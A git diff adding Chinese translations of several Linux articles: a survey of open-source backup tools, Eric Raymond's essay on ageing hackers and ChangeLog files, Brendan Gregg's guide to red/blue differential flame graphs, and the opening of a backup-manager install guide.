+[75]:http://nlug.ml1.co.uk/2012/01/man-ntpq-long-version/855 +[76]:http://nlug.ml1.co.uk/2012/01/man-ntpq-gentoo-long-version/856 +[77]:http://www.eecis.udel.edu/~mills/ntp/html/ntpq.html +[78]:http://www.eecis.udel.edu/~mills/ntp/html/index.html +[79]:http://www.ntp.org/ntpfaq/NTP-s-def-hist.htm +[80]:http://www.eecis.udel.edu/~mills/database/papers/history.pdf +[81]:http://www.ntp.org/rfc.html +[82]:http://www.ietf.org/rfc/rfc1305.txt +[83]:http://www.rfc-editor.org/rfc/rfc1305.pdf +[84]:http://en.wikipedia.org/wiki/Time +[85]:http://en.wikipedia.org/wiki/Calendar +[86]:http://www.rmg.co.uk/harrison +[87]:http://longnow.org/clock/ +[88]:http://johnctaylor.com/ +[89]:http://en.wikipedia.org/wiki/Orders_of_magnitude_%28time%29 +[90]:http://en.wikipedia.org/wiki/Greenwich_Time_Signal +[91]:http://tools.ietf.org/html/rfc4330 +[92]:http://tools.ietf.org/html/rfc1305 +[93]:http://en.wikipedia.org/wiki/Network_Time_Protocol#Microsoft_Windows +[94]:http://en.wikipedia.org/wiki/Personal_computer +[95]:http://www.nist.gov/el/isd/ieee/ieee1588.cfm +[96]:http://en.wikipedia.org/wiki/IEEE_1588 +[97]:http://ptpd.sourceforge.net/ +[98]:http://en.wikipedia.org/wiki/Local_area_network +[99]:http://en.wikipedia.org/wiki/International_Atomic_Time +[100]:http://en.wikipedia.org/wiki/Monotonic_function +[101]:http://antinode.info/ftp/dtss_ntp/ +[102]:http://en.wikipedia.org/wiki/DAYTIME +[103]:http://en.wikipedia.org/wiki/Transmission_Control_Protocol +[104]:http://en.wikipedia.org/wiki/User_Datagram_Protocol +[105]:http://en.wikipedia.org/wiki/ICMP_Timestamp +[106]:http://en.wikipedia.org/wiki/ICMP_Timestamp_Reply +[107]:http://en.wikipedia.org/wiki/Internet_Control_Message_Protocol +[108]:http://en.wikipedia.org/wiki/Time_Protocol diff --git a/published/201501/20141106 5 Awesome Open Source Backup Software For Linux and Unix-like Systems.md b/published/201501/20141106 5 Awesome Open Source Backup Software For Linux and Unix-like Systems.md new file mode 100644 index 0000000000..b967cee5a6 --- /dev/null +++ b/published/201501/20141106 5 Awesome Open Source Backup Software For Linux and Unix-like Systems.md @@ -0,0 +1,174 @@ +Linux 和类 Unix 系统上5个最佳开源备份工具 +================================================================================ +一个好的备份最基本的目的就是为了能够从一些错误中恢复: + +- 人为的失误 +- 磁盘阵列或是硬盘故障 +- 文件系统崩溃 +- 数据中心被破坏等等。 + +所以,我为大家罗列了一些开源的软件备份工具。 + +### 当为一个企业选择备份工具的时候,你都考虑什么呢? ### + +确定你正在部署的软件具有下面的特性 + +1. **开源软件** - 你务必要选择那些源码可以免费获得,并且可以修改的软件。确信可以恢复你的数据,即使是软件供应商/项目停止继续维护这个软件,或者是拒绝继续为这个软件提供补丁。 + +2. **跨平台支持** - 确定备份软件可以很好的运行各种需要部署的桌面操作系统和服务器系统。 + +3. **数据格式** - 一种开放的数据格式可以让你能够恢复数据,即使是供应商或是项目停止对软件的支持。 + +4. **自动转换** - 自动转换本来是没什么,除了对于各种备份设备,包括图书馆,近线存储和自动加载,自动转换可以自动完成一些任务,包括加载,挂载和标签备份像磁带这些媒体设备。 + +5. **备份介质** - 确定你可以备份到磁带,硬盘,DVD 和像 AWS 这样的云存储。 + +6. **加密数据流** - 确定所有客户端到服务器的传输都被加密,保证在 LAN/WAN/Internet 中传输的安全性。 + +7. **数据库支持** - 确定备份软件可以备份到数据库,像MySQL 或是 Oracle。 + +8. **备份可以跨越多个卷** - 备份软件(转储文件时)可以把每个备份文件分成几个部分,允许将每个部分存在于不同的卷。这样可以保证一些数据量很大的备份(像100TB的文件)可以被存储在一些单个容量较小的设备中,比如说像硬盘和磁盘卷。 + +9. **VSS (卷影复制)** - 这是[微软的卷影复制服务(VSS)][1],通过创建数据的快照来备份。确定备份软件支持VSS的MS-Windows 客户端/服务器。 + +10. **重复数据删除** - 这是一种数据压缩技术,用来消除重复数据的副本(比如,图片)。 + +11. **许可证和成本** - 确定你对备份软件所用的[许可证了解和明白其使用方式][3]。 + +12. **商业支持** - 开源软件可以提供社区支持(像邮件列表和论坛)和专业的支持(如发行版提供额外的付费支持)。你可以使用付费的专业支持为你提供培训和咨询。 + +13. **报告和警告** - 最后,你必须能够看到备份的报告,当前的工作状态,也能够在备份出错的时候提供警告。 + +### Bacula - 一个应用于多元化异构网络的客户端服务器备份工具 ### + +我个人应用这个软件来管理备份和通过网络来恢复系统,包括Linux, OSX, 和Windows。你可以通过CLI, GUI, 或者Web界面来配置Bacula。 + +![](http://s0.cyberciti.org/uploads/cms/2014/11/bacula-network-backup.jpg) + +- 操作系统:支持跨平台运行。 +- 备份级别:完全,差异,增量,合并。 +- 数据格式:支持自定义且完全开放。 +- 自动转换:支持。 +- 备份介质:支持磁带,磁盘和DVD。 +- 加密数据流:支持。 +- 数据库:支持MSSQL、PostgreSQL、Oracle 。 +- 跨卷备份:支持 +- VSS(卷影复制):支持。 +- 许可:Affero General Public License v3.0。 +- 下载链接:[bacula.org][4] + +### Amanda - 又一个客户端服务器备份工具 ### + +AMANDA 是 Advanced Maryland Automatic Network Disk Archiver 的缩写。它允许系统管理员创建一个单独的备份服务器来将网络上的其他主机的数据备份到磁带驱动器、硬盘或者是自动换盘器。 + +- 操作系统:支持跨平台运行。 +- 备份级别:完全,差异,增量,合并。 +- 数据格式:开放(可以通过tar等工具恢复)。 +- 自动转换:支持。 +- 备份介质:支持磁带,磁盘和DVD。 +- 加密数据流:支持。 +- 数据库:支持MSSQL, Oracle。 +- 跨卷备份:支持。 +- VSS(卷影复制):支持。 +- 许可:GPL, LGPL, Apache, Amanda License。 +- 下载链接:[amanda.org][5] + +### Backupninja - 轻量级备份系统 ### + +Backupninja 是一个简单易用的备份系统。你可以简单的拖放一个配置文件到 /etc/backup.d/ 目录来备份到多个主机。 + +![](http://s0.cyberciti.org/uploads/cms/2014/11/ninjabackup-helper-script.jpg) + +- 操作系统:支持Linux,Unix。 +- 备份级别:支持完全,差异备份(rsync + hard 链接) +- 数据格式:开放 +- 自动转换:N/A。(注:N/A = Not Applicable)。 +- 备份介质:磁盘,DVD,CD,ISO 镜像。 +- 加密数据流:支持(ssh)和[通过duplicity远程加密备份][6]。 +- 数据库:支持MySQL,PostgreSQL,OpenLDAP 和subversion 或trac。 +- 跨卷备份:?? +- VSS(卷影复制):?? +- 许可:GPL +- 下载链接:[riseup.net][7] + +### Backuppc - 高效的客户端服务器备份工具### + +Backuppc 可以用来备份基于Linux 和Windows 系统的主服务器硬盘。它配备了一个巧妙的池计划来最大限度的减少磁盘储存、磁盘 I/O 和网络I/O。 + +![](http://s0.cyberciti.org/uploads/cms/2014/11/BackupPCServerStatus.jpg) + +- 操作系统:支持Linux,Unix 和Windows。 +- 备份级别:支持完全和增量备份(rsync +hard 链接和pooling 计划) +- 数据格式:开放。 +- 自动转换:N/A。 +- 备份介质:磁盘和磁盘阵列。 +- 加密数据流:支持。 +- 数据库:支持(通过Shell 脚本) +- 跨卷备份:?? +- VSS(卷影复制):?? +- 许可:GPL。 +- 下载链接:[backuppc.sourceforge.net][8] + +### UrBackup - 最容易配置的客户端服务器系统 ### + +UrBackup 是一个非常容易配置的开源客户端服务器备份系统,通过镜像 方式和文件备份的组合完成了数据安全性和快速的恢复。磁盘卷备份可以使用可引导 CD 或U盘,通过Web界面或Windows资源管理器来恢复你的文件(硬恢复)。一个 Web 界面使得配置你自己的备份服务变得非常简单。 + +![](http://s0.cyberciti.org/uploads/cms/2014/11/urbackup.jpg) + +- 操作系统:支持Linux,FreeBSD,Unix,Windows 和少数基于NAS 的Linux操作系统,客户端只支持Linux 和Windows 操作系统。 +- 备份级别:支持完全和增量备份。 +- 数据格式:开放。 +- 自动转换:N/A。 +- 备份介质:磁盘,磁盘阵列和DVD。 +- 加密数据流:支持。 +- 数据库:?? +- 跨卷备份:?? +- VSS(卷影复制):?? +- 许可:GPL v3+ +- 下载链接:[urbackup.org][9] + +### 其他供你考虑的一些极好用的开源备份软件 ### + +Amanda,Bacula 和上面所提到的这些软件功能都很丰富,但是对于一些小的网络或者是单独的服务器来说配置比较复杂。我建议你学习和使用一下的下面这些备份软件: + +1. [Rsnapshot][10] - 我建议用这个作为对本地和远程的文件系统快照工具。看看[在Debian 和Ubuntu linux][11]和[基于CentOS,RHEL 的操作系统][12]怎么设置和使用这个工具。 +2. [rdiff-backup][13] - 另一个好用的类Unix 远程增量备份工具。 +3. [Burp][14] - Burp 是一个网络备份和恢复程序。它使用了librsync来节省网络流量和节省每个备份占用的空间。它也使用了VSS(卷影复制服务),在备份Windows计算机时进行快照。 +4. [Duplicity][15] - 伟大的加密和高效的备份类Unix操作系统。查看如何[安装Duplicity来加密云备份][16]来获取更多的信息。 +5. [SafeKeep][17] - SafeKeep是一个中心化的、易于使用的备份应用程序,结合了镜像和增量备份最佳功能的备份应用程序。 +6. [DREBS][18] - DREBS 是EBS定期快照的工具。它被设计成在EBS快照所连接的EC2主机上运行。 +7. 古老的unix 程序,像rsync, tar, cpio, mt 和dump。 + +###结论### + +我希望你会发现这篇有用的文章来备份你的数据。不要忘了验证你的备份和创建多个数据备份。注意,磁盘阵列并不是一个备份解决方案!使用任何一个上面提到的程序来备份你的服务器、桌面和笔记本电脑和私人的移动设备。如果你知道其他任何开源的备份软件我没有提到的,请分享在评论里。 + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/open-source/awesome-backup-software-for-linux-unix-osx-windows-systems/ + +作者:[nixCraft][a] +译者:[barney-ro](https://github.com/barney-ro) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.cyberciti.biz/tips/about-us +[1]:http://technet.microsoft.com/en-us/library/cc785914(v=ws.10).aspx +[2]:http://en.wikipedia.org/wiki/Data_deduplication +[3]:http://opensource.org/licenses +[4]:http://www.bacula.org/ +[5]:http://www.amanda.org/ +[6]:http://www.cyberciti.biz/faq/duplicity-installation-configuration-on-debian-ubuntu-linux/ +[7]:https://labs.riseup.net/code/projects/backupninja +[8]:http://backuppc.sourceforge.net/ +[9]:http://www.urbackup.org/ +[10]:http://www.rsnapshot.org/ +[11]:http://www.cyberciti.biz/faq/linux-rsnapshot-backup-howto/ +[12]:http://www.cyberciti.biz/faq/redhat-cetos-linux-remote-backup-snapshot-server/ +[13]:http://www.nongnu.org/rdiff-backup/ +[14]:http://burp.grke.org/ +[15]:http://www.cyberciti.biz/open-source/awesome-backup-software-for-linux-unix-osx-windows-systems/ +[16]:http://www.cyberciti.biz/faq/duplicity-installation-configuration-on-debian-ubuntu-linux/ +[17]:http://safekeep.sourceforge.net/ +[18]:https://github.com/dojo4/drebs diff --git a/published/201501/20141108 When hackers grow old.md b/published/201501/20141108 When hackers grow old.md new file mode 100644 index 0000000000..40cf39fdc9 --- /dev/null +++ b/published/201501/20141108 When hackers grow old.md @@ -0,0 +1,66 @@ +ESR:黑客年暮 +================================================================================ +近来我一直在与某资深开源开发团队中的多个成员缠斗,尽管密切关注我的人们会在读完本文后猜到是哪个组织,但我不会在这里说出这个组织的名字。 + +怎么让某些人进入 21 世纪就这么难呢?真是的... + +我快 56 岁了,也就是大部分年轻人会以为的我将时不时朝他们发出诸如“滚出我的草坪”之类歇斯底里咆哮的年龄。但事实并非如此 —— 我发现,尤其是在技术背景之下,我变得与我的年龄非常不相称。 + +在我这个年龄的大部分人确实变成了爱发牢骚、墨守成规的老顽固。并且,尴尬的是,偶尔我会成为那个打断谈话的人,我会指出他们某个在 1995 年(或者在某些特殊情况下,1985 年)时很适合的方法... 几十年后的今天就不再是好方法了。 + +为什么是我?因为年轻人在我的同龄人中很难有什么说服力。如果有人想让那帮老头改变主意,首先他得是自己同龄人中具有较高思想觉悟的佼佼者。即便如此,在与习惯做斗争的过程中,我也比看起来花费了更多的时间。 + +年轻人犯下无知的错误是可以被原谅的。他们还年轻。年轻意味着缺乏经验,缺乏经验通常会导致片面的判断。我很难原谅那些经历了足够多本该有经验的人,却被*长期的固化思维*蒙蔽,无法发觉近在咫尺的东西。 + +(补充一下:我真的不是保守党拥护者。那些和我争论政治的,无论保守党还是非保守党都没有注意到这点,我觉得这颇有点嘲讽的意味。) + +那么,现在我们来讨论下 GNU 更新日志文件(ChangeLog)这件事。在 1985 年的时候,这是一个不错的主意,甚至可以说是必须的。当时的想法是用单独的更新日志条目来记录多个相关文件的变更情况。用这种方式来对那些存在版本缺失或者非常原始的版本进行版本控制确实不错。当时我也*在场*,所以我知道这些。 + +不过即使到了 1995 年,甚至 21 世纪早期,许多版本控制系统仍然没有太大改进。也就是说,这些版本控制系统并非对批量文件的变化进行分组再保存到一条记录上,而是对每个变化的文件分别进行记录并保存到不同的地方。CVS,当时被广泛使用的版本控制系统,仅仅是模拟日志变更 —— 并且在这方面表现得很糟糕,导致大多数人不再依赖这个功能。即便如此,更新日志文件的出现依然是必要的。 + +但随后,版本控制系统 Subversion 于 2003 年发布 beta 版,并于 2004 年发布 1.0 正式版,Subversion 真正实现了更新日志记录功能,得到了人们的广泛认可。它与一年后兴起的分布式版本控制系统(Distributed Version Control System,DVCS)共同引发了主流世界的激烈争论。因为如果你在项目上同时使用了分布式版本控制与更新日志文件记录的功能,它们将会因为争夺相同元数据的控制权而产生不可预料的冲突。 + +有几种不同的方法可以折衷解决这个问题。一种是继续将更新日志作为代码变更的授权记录。这样一来,你基本上只能得到简陋的、形式上的提交评论数据。 + +另一种方法是对提交的评论日志进行授权。如果你这样做了,不久后你就会开始思忖为什么自己仍然对所有的日志更新条目进行记录。提交元数据与变化的代码具有更好的相容性,毕竟这才是当初设计它的目的。 + +(现在,试想有这样一个项目,同样本着把项目做得最好的想法,但两拨人却做出了完全不同的选择。因此你必须同时阅读更新日志和评论日志以了解到底发生了什么。最好在矛盾激化前把问题解决....) + +第三种办法是尝试同时使用以上两种方法 —— 在更新日志条目中,以稍微变化后的的格式复制一份评论数据,将其作为评论提交的一部分。这会导致各种你意想不到的问题,最具代表性的就是它不符合“真理的单点性(single point of truth)”原理;只要其中有拷贝文件损坏,或者日志文件条目被修改,这就不再是同步时数据匹配的问题,它将导致在其后参与进来的人试图搞清人们是怎么想的时候变得非常困惑。(LCTT 译注:《[程序员修炼之道][1]》(The Pragmatic Programmer):任何一个知识点在系统内都应当有一个唯一、明确、权威的表述。根据Brian Kernighan的建议,把这个原则称为“真理的单点性(Single Point of Truth)”或者SPOT原则。) + +或者,正如这个*我就不说出具体名字的特定项目*所做的,它的高层开发人员在电子邮件中最近声明说,提交可以包含多个更新日志条目,并且提交的元数据与更新日志是无关的。这导致我们直到现在还得不断进行记录。 + +当时我读到邮件的时候都要吐了。什么样的傻瓜才会意识不到这是自找麻烦 —— 事实上,在 DVCS 中针对可靠的提交日志有很好的浏览工具,围绕更新日志文件的整个定制措施只会成为负担和拖累。 + +唉,这是比较特殊的笨蛋:变老的并且思维僵化了的黑客。所有的合理化改革他都会极力反对。他所遵循的行事方法在几十年前是有效的,但现在只能适得其反。如果你试图向他解释这些不仅仅和 git 的摘要信息有关,同时还为了正确适应当前的工具集,以便实现更新日志的去条目化... 呵呵,那你就准备好迎接无法忍受、无法想象的疯狂对话吧。 + +的确,它成功激怒了我。这样那样的胡言乱语使这个项目变成了很难完成的工作。而且,同样的糟糕还体现在他们吸引年轻开发者的过程中,我认为这是真正的问题。相关 Google+ 社区的人员数量已经达到了 4 位数,他们大部分都是孩子,还没有成长起来。显然外界已经接受了这样的信息:这个项目的开发者都是部落中地位根深蒂固的崇高首领,最好的崇拜方式就是远远的景仰着他们。 + +这件事给我的最大触动就是每当我要和这些部落首领较量时,我都会想:有一天我也会这样吗?或者更糟的是,我看到的只是如同镜子一般对我自己的真实写照,而我自己却浑然不觉?我的意思是,我所得到的印象来自于他的网站,这个特殊的笨蛋要比我年轻。年轻至少 15 岁呢。 + +我总是认为自己的思路很清晰。当我和那些比我聪明的人打交道时我不会受挫,我只会因为那些思路跟不上我、看不清事实的人而沮丧。但这种自信也许只是邓宁·克鲁格效应(Dunning-Krueger effect)在我身上的消极影响,我并不确定这意味着什么。很少有什么事情会让我感到害怕;而这件事在让我害怕的事情名单上是名列前茅的。 + +另一件让人不安的事是当我逐渐变老的时候,这样的矛盾发生得越来越频繁。不知怎的,我希望我的黑客同行们能以更加优雅的姿态老去,即使身体老去也应该保持一颗年轻的心灵。有些人确实是这样;但可惜绝大多数人都不是。真令人悲哀。 + +我不确定我的职业生涯会不会完美收场。假如我最后成功避免了思维僵化(注意我说的是假如),我想我一定知道其中的部分原因,但我不确定这种模式是否可以被复制 —— 为了达成目的也许得在你的头脑中发生一些复杂的化学反应。尽管如此,无论对错,请听听我给年轻黑客以及其他有志青年的建议。 + +你们——对的,也包括你——一定无法在你中年老年的时候保持不错的心灵,除非你能很好的控制这点。你必须不断地去磨练你的内心、在你还年轻的时候完成自己的种种心愿,你必须把这些行为养成一种习惯直到你老去。 + +有种说法是中年人锻炼身体的最佳时机是 30 岁以前。我以为同样的方法,坚持我以上所说的习惯能让你在 56 岁,甚至 65 岁的时候仍然保持灵活的头脑。挑战你的极限,使不断地挑战自己成为一种习惯。立刻离开安乐窝,由此当你以后真正需要它的时候你可以建立起自己的安乐窝。 + +你必须要清楚的了解这点;还有一个可选择的挑战是你选择一个可以实现的目标并且为了这个目标不断努力。这个月我要学习 Go 语言。不是指游戏,我早就玩儿过了(虽然玩儿的不是太好)。并不是因为工作需要,而是因为我觉得是时候来扩展下我自己了。 + +保持这个习惯。永远不要放弃。 + +-------------------------------------------------------------------------------- + +via: http://esr.ibiblio.org/?p=6485 + +作者:[Eric Raymond][a] +译者:[Stevearzh](https://github.com/Stevearzh) +校对:[Mr小眼儿](https://github.com/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://esr.ibiblio.org/?author=2 +[1]:http://book.51cto.com/art/200809/88490.htm diff --git a/published/201501/20141112 How to Debug CPU Regressions Using Flame Graphs.md b/published/201501/20141112 How to Debug CPU Regressions Using Flame Graphs.md new file mode 100644 index 0000000000..aad7cb5e0b --- /dev/null +++ b/published/201501/20141112 How to Debug CPU Regressions Using Flame Graphs.md @@ -0,0 +1,154 @@ +使用火焰图分析CPU性能回退问题 +================================================================================ +你能快速定位CPU性能回退的问题么? 如果你的工作环境非常复杂且变化快速,那么使用现有的工具是来定位这类问题是很具有挑战性的。当你花掉数周时间把根因找到时,代码已经又变更了好几轮,新的性能问题又冒了出来。 + +幸亏有了[CPU火焰图][1](flame graphs),CPU使用率的问题一般都比较好定位。但要处理性能回退问题,就要在修改前后的火焰图之间,不断切换对比,来找出问题所在,这感觉就是像在太阳系中搜寻冥王星。虽然,这种方法可以解决问题,但我觉得应该会有更好的办法。 + +所以,下面就隆重介绍**红/蓝差分火焰图(red/blue differential flame graphs)**: + +

+ +

+ +上面是一副交互式SVG格式图片([链接][3])。图中使用了两种颜色来表示状态,**红色表示增长**,**蓝色表示衰减**。 + +这张火焰图中各火焰的形状和大小都是和第二次抓取的profile文件对应的CPU火焰图是相同的。(其中,y轴表示栈的深度,x轴表示样本的总数,栈帧的宽度表示了profile文件中该函数出现的比例,最顶层表示正在运行的函数,再往下就是调用它的栈) + +在下面这个案例展示了,在系统升级后,一个工作载荷的CPU使用率上升了。 下面是对应的CPU火焰图([SVG格式][4]) + +

+ +

+ +通常,在标准的火焰图中栈帧和栈塔的颜色是随机选择的。 而在红/蓝差分火焰图中,使用不同的颜色来表示两个profile文件中的差异部分。 + +在第二个profile中deflate_slow()函数以及它后续调用的函数运行的次数要比前一次更多,所以在上图中这个栈帧被标为了红色。可以看出问题的原因是ZFS的压缩功能被启用了,而在系统升级前这项功能是关闭的。 + +这个例子过于简单,我甚至可以不用差分火焰图也能分析出来。但想象一下,如果是在分析一个微小的性能下降,比如说小于5%,而且代码也更加复杂的时候,问题就为那么好处理了。 + +### 红/蓝差分火焰图 ### + +这个事情我已经讨论了好几年了,最终我自己编写了一个我个人认为有价值的实现。它的工作原理是这样的: + +1. 抓取修改前的堆栈profile1文件 +1. 抓取修改后的堆栈profile2文件 +1. 使用profile2来生成火焰图。(这样栈帧的宽度就是以profile2文件为基准的) +1. 使用“2 - 1”的差异来对火焰图重新上色。上色的原则是,如果栈帧在profile2中出现出现的次数更多,则标为红色,否则标为蓝色。色彩是根据修改前后的差异来填充的。 + +这样做的目的是,同时使用了修改前后的profile文件进行对比,在进行功能验证测试或者评估代码修改对性能的影响时,会非常有用。新的火焰图是基于修改后的profile文件生成(所以栈帧的宽度仍然显示了当前的CPU消耗),通过颜色的对比,就可以了解到系统性能差异的原因。 + +只有对性能产生直接影响的函数才会标注颜色(比如说,正在运行的函数),它所调用的子函数不会重复标注。 + +### 生成红/蓝差分火焰图 ### + +我已经把一个简单的代码实现推送到github上(见[火焰图][5]),其中新增了一个程序脚本,difffolded.pl。为了展示工具是如何工作的,用Linux [perf_events][6] 来演示一下操作步骤。(你也可以使用其他profiler) + +#### 抓取修改前的profile 1文件: #### + + # perf record -F 99 -a -g -- sleep 30 + # perf script > out.stacks1 + +#### 一段时间后 (或者程序代码修改后), 抓取profile 2文件: #### + + # perf record -F 99 -a -g -- sleep 30 + # perf script > out.stacks2 + +#### 现在将 profile 文件进行折叠(fold), 再生成差分火焰图: #### + + $ git clone --depth 1 http://github.com/brendangregg/FlameGraph + $ cd FlameGraph + $ ./stackcollapse-perf.pl ../out.stacks1 > out.folded1 + $ ./stackcollapse-perf.pl ../out.stacks2 > out.folded2 + $ ./difffolded.pl out.folded1 out.folded2 | ./flamegraph.pl > diff2.svg + +difffolded.p只能对“折叠”过的堆栈profile文件进行操作,折叠操作是由前面的stackcollapse系列脚本完成的。(见链接[火焰图][7])。 脚本共输出3列数据,其中一列代表折叠的调用栈,另两列为修改前后profile文件的统计数据。 + + func_a;func_b;func_c 31 33 + [...] + +在上面的例子中"func_a()->func_b()->func_c()" 代表调用栈,这个调用栈在profile1文件中共出现了31次,在profile2文件中共出现了33次。然后,使用flamegraph.pl脚本处理这3列数据,会自动生成一张红/蓝差分火焰图。 + +### 其他选项 ### + +再介绍一些有用的选项: + +**difffolded.pl -n**:这个选项会把两个profile文件中的数据规范化,使其能相互匹配上。如果你不这样做,抓取到所有栈的统计值肯定会不相同,因为抓取的时间和CPU负载都不同。这样的话,看上去要么就是一片红(负载增加),要么就是一片蓝(负载下降)。-n选项对第一个profile文件进行了平衡,这样你就可以得到完整红/蓝图谱。 + +**difffolded.pl -x**: 这个选项会把16进制的地址删掉。 profiler时常会无法将地址转换为符号,这样的话栈里就会有16进制地址。如果这个地址在两个profile文件中不同,这两个栈就会认为是不同的栈,而实际上它们是相同的。遇到这样的问题就用-x选项搞定。 + +**flamegraph.pl --negate**: 用于颠倒红/蓝配色。 在下面的章节中,会用到这个功能。 + +### 不足之处 ### + +虽然我的红/蓝差分火焰图很有用,但实际上还是有一个问题:如果一个代码执行路径完全消失了,那么在火焰图中就找不到地方来标注蓝色。你只能看到当前的CPU使用情况,而不知道为什么会变成这样。 + +一个办法是,将对比顺序颠倒,画一个相反的差分火焰图。例如: + +

+ +

+ +上面的火焰图是以修改前的profile文件为基准,颜色表达了将要发生的情况。右边使用蓝色高亮显示的部分,从中可以看出修改后CPU Idle消耗的CPU时间会变少。(其实,我通常会把cpu_idle给过滤掉,使用命令行grep -v cpu_idle) + +图中把消失的代码也突显了出来(或者应该是说,没有突显),因为修改前并没有使能压缩功能,所以它没有出现在修改前的profile文件了,也就没有了被表为红色的部分。 + +下面是对应的命令行: + + $ ./difffolded.pl out.folded2 out.folded1 | ./flamegraph.pl --negate > diff1.svg + +这样,把前面生成diff2.svg一并使用,我们就能得到: + +- **diff1.svg**: 宽度是以修改前profile文件为基准,颜色表明将要发生的情况 +- **diff2.svg**: 宽度是以修改后profile文件为基准,颜色表明已经发生的情况 + +如果是在做功能验证测试,我会同时生成这两张图。 + +### CPI 火焰图 ### + +这些脚本开始是被使用在[CPI火焰图][8]的分析上。与比较修改前后的profile文件不同,在分析CPI火焰图时,可以分析CPU工作周期与停顿周期的差异变化,这样可以凸显出CPU的工作状态来。 + +### 其他的差分火焰图 ### + +[![](http://www.brendangregg.com/blog/images/2014/rm-flamegraph-diff.jpg)][9] + +也有其他人做过类似的工作。[Robert Mustacchi][10]在不久前也做了一些尝试,他使用的方法类似于代码检视时的标色风格:只显示了差异的部分,红色表示新增(上升)的代码路径,蓝色表示删除(下降)的代码路径。一个关键的差别是栈帧的宽度只体现了差异的样本数。右边是一个例子。这个是个很好的主意,但在实际使用中会感觉有点奇怪,因为缺失了完整profile文件的上下文作为背景,这张图显得有些难以理解。 + +[![](http://www.brendangregg.com/blog/images/2014/corpaul-flamegraph-diff.png)][12] + +Cor-Paul Bezemer也制作了一种差分显示方法[flamegraphdiff][13],他同时将3张火焰图放在同一张图中,修改前后的标准火焰图各一张,下面再补充了一张差分火焰图,但栈帧宽度也是差异的样本数。 上图是一个[例子][14]。在差分图中将鼠标移到栈帧上,3张图中同一栈帧都会被高亮显示。这种方法中补充了两张标准的火焰图,因此解决了上下文的问题。 + +我们3人的差分火焰图,都各有所长。三者可以结合起来使用:Cor-Paul方法中上方的两张图,可以用我的diff1.svg 和 diff2.svg。下方的火焰图可以用Robert的方式。为保持一致性,下方的火焰图可以用我的着色方式:蓝->白->红。 + +火焰图正在广泛传播中,现在很多公司都在使用它。如果大家知道有其他的实现差分火焰图的方式,我也不会感到惊讶。(请在评论中告诉我) + +### 结论 ### + +如果你遇到了性能回退问题,红/蓝差分火焰图是找到根因的最快方式。这种方式抓取了两张普通的火焰图,然后进行对比,并对差异部分进行标色:红色表示上升,蓝色表示下降。 差分火焰图是以当前(“修改后”)的profile文件作为基准,形状和大小都保持不变。因此你通过色彩的差异就能够很直观的找到差异部分,且可以看出为什么会有这样的差异。 + +差分火焰图可以应用到项目的每日构建中,这样性能回退的问题就可以及时地被发现和修正。 + +-------------------------------------------------------------------------------- + +via: http://www.brendangregg.com/blog/2014-11-09/differential-flame-graphs.html + +作者:[Brendan Gregg][a] +译者:[coloka](https://github.com/coloka) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/community/forums/person/60160 +[1]:http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html +[2]:http://en.wikipedia.org/wiki/Planets_beyond_Neptune#Discovery_of_Pluto +[3]:http://www.brendangregg.com/blog/images/2014/zfs-flamegraph-diff.svg +[4]:http://www.brendangregg.com/blog/images/2014/zfs-flamegraph-after.svg +[5]:https://github.com/brendangregg/FlameGraph +[6]:http://www.brendangregg.com/perf.html +[7]:https://github.com/brendangregg/FlameGraph +[8]:http://www.brendangregg.com/blog/2014-10-31/cpi-flame-graphs.html +[9]:http://www.slideshare.net/brendangregg/blazing-performance-with-flame-graphs/167 +[10]:http://dtrace.org/blogs/rm +[11]:http://www.slideshare.net/brendangregg/blazing-performance-with-flame-graphs/167 +[12]:https://github.com/corpaul/flamegraphdiff +[13]:http://corpaul.github.io/flamegraphdiff/ +[14]:http://corpaul.github.io/flamegraphdiff/demos/dispersy/dispersy_diff.html \ No newline at end of file diff --git a/published/201501/20141115 How to perform system backup with backup-manager on Linux.md b/published/201501/20141115 How to perform system backup with backup-manager on Linux.md new file mode 100644 index 0000000000..edb3c9d3a6 --- /dev/null +++ b/published/201501/20141115 How to perform system backup with backup-manager on Linux.md @@ -0,0 +1,154 @@ +Linux 上使用 backup-manager 进行系统备份 +================================================================================ +无论简单与否,我们都有机会去了解这么一件事,那就是备份的重要性从来都不可以被低估。考虑到备份的方法真的多如牛毛,你可能想要知道怎样来有效地为你的系统选择正确的工具和和合适的策略。 + +在本文中,我将为你介绍[backup-manager][1],一个简单易用的命令行备份工具,在大多数的Linux发行版的标准软件库中都能见到它的身影。 + +是什么让备份管理器在众多的备份工具或备份策略中脱颖而出呢?让我来简单介绍一些它的与众不同的特性吧: + +- **简单的设计与管理**:配置文件易于读懂和编辑,即便是初学者也很容易上手。 +- **一劳永逸**:它在配置好后就可以通过cron周期性运作。 +- **支持多种协议远程备份**:无缝整合多种传输协议、应用和云后端(如,FTP,SCP,SSH-GPG,rsync,AWS S3等等)来传输生成的归档包到一组远程主机。 +- **支持数据库备份**:包括支持开箱即用备份MySQL/MariaDB和PostgreSQL数据库。 +- **支持加密**:备份过程中支持基于GPG文件的加密。 + +### 在Linux上安装备份管理器 ### + +备份管理器的安装是快速而无痛的,因为它就包含在大多数Linux发行版的基础软件库中。 + +#### Debian,Ubuntu及其衍生版 #### + + # aptitude install backup-manager + +在基于Debian的系统中安装时,会提示你输入要存放备份归档文件的目录。如果选择的目录不存在,那么当你首次运行备份管理器时它会自动创建。 + +选择OK并按回车键。 + +![](https://farm6.staticflickr.com/5614/15600105060_8cf4491e3b_z.jpg) + +在下一步中,会询问你要备份的所有目录(用空格分隔)。建议,但不是严格要求,列出同一父目录中的几个子目录,而不要仅仅输入父目录。 + +你可以跳过该步骤并在以后对配置文件中BM\_TARBALL\_DIRECTORIESb变量进行设置。否则的话,就请尽可能多地添加你想要的目录,然后选择OK: + +![](https://farm6.staticflickr.com/5610/15761238616_c9651fea1c_z.jpg) + +#### Fedora或CentOS/RHEL #### + + # yum install backup-manager + +在CentOS/RHEL上,在运行以上yum命令前,你将需要先启用[EPEL仓库][2]。 + +### 配置备份管理器 ### + 